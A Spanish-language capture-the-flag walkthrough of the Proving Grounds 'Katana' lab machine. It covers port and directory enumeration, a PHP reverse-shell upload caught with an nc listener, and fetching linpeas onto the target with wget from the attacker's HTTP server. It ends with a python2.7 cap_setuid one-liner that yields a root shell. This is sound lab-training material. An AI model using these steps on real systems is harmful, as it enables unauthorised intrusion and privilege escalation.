🟢Katana

Write-up de la máquina Katana de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.209.83

6 servicios abiertos, puertos 21, 22, 80, 7080, 8088 y 8715. Vamos a realizar un escaneo profundo de los servicios abiertos.

nmap -p21,22,80,7080,8088,8715 -Pn -n -sVC -vvv 192.168.209.83

Servicios abiertos:

  • Puerto 21 -> FTP -> vsftpd 3.0.3

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

  • Puerto 7080 -> Empowerid -> ?

  • Puerto 8088 -> Litespeed -> ?

  • Puerto 8715 -> HTTP -> nginx 1.14.2

Enumeración Web

Existen tres servicios HTTP disponibles en la máquina objetivo. Vamos a enumerar el contenido de cada uno de ellos.

Vamos a realizar una enumeración de directorios los sitios Web expuestos en los puertos 80 y 8088.

dirsearch -u "http://192.168.209.83:80/" -t 30 i 200,301 -e html
dirsearch -u "http://192.168.209.83:8088/" -t 30 -e html

En la enumeración de directorios del sitio alojado en el puerto 8088 encontramos dos archivos que pueden ser interesantes. Vamos a ver su contenido.

Llegamos a una página del sitio Web que nos permite la carga de archivos.

Explotación

Durante la enumeración del sitio Web, hemos encontrado archivos .php, así que damos por hecho que el sitio Web trata este tipo de archivos. Vamos a tratar de subir una reverse shell aprovechando que nos permiten cargar archivos. Configuramos nuestra IP y puerto de escucha en el archivo de la shell.

Cargamos el archivo y al mismo tiempo, ponemos a la escucha un oyente nc en el puerto 1234.

Al tratar de cargar el archivo en el sitio habilitado más a la izquierda recibimos un error. Debemos subirlo utilizando la segunda carga de archivos. Entonces, recibimos el siguiente mensaje.

El archivo subido transcurrido un momento, es redirigido. Vamos a acceder a para cargar el archivo malicioso.

El archivo malicioso no existe. Recordamos que la máquina víctima está ejecutando varios servidores Web. El archivo se ha redirigido al servidor "nginx" que se está ejecutando en el puerto 8715. Además, ya recibimos conexión de la máquina objetivo.

Vamos a realizar el tratamiento de la tty.

python -c 'import pty;pty.spawn("/bin/bash")'

Ya podremos buscar la flag de bajos privilegios, local.txt.

find / -name local.txt 2>/dev/null

Elevación de privilegios

Descargamos un ejecutable de Linpeas que nos realizará una enumeración de manera automatizada de todos los puntos vulnerables que nos puede permitir elevar privilegios.

Creamos un servidor HTTP con Python y enviamos Linpeas a la máquina objetivo. Damos permisos y ejecutamos.

Para enviar el archivo:

python2 -m SimpleHTTPServer 80 (máquina de ataque)
wget 192.168.45.5/linpeas.sh (en el directorio /tmp de la máquina objetivo)

Para ejecutar:

chmod +x linpeas.sh
./linpeas.sh

Tras un momento de ejecución, obtenemos información que puede ser de interés.

Vemos que python2.7 tiene el conjunto de capacidades "cap_setuid". Este es un tipo de privilegio que se puede otorgar para permitir que los programas manipulen el UID de su propio proceso en ejecución. En otras palabras, podemos ejecutar /usr/bin/python2.7 e indicarle que establezca su UID de proceso en 0 (root). ¿Cómo? Vamos a consultar GTFOBins.

En nuestro caso, ejecutaremos con python2.7.

python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Ejecutamos, ya ya tendremos acceso como "root" al sistema objetivo.

Solo quedará buscar la flag proof.txt

Y ya estaría acabada la máquina

Last updated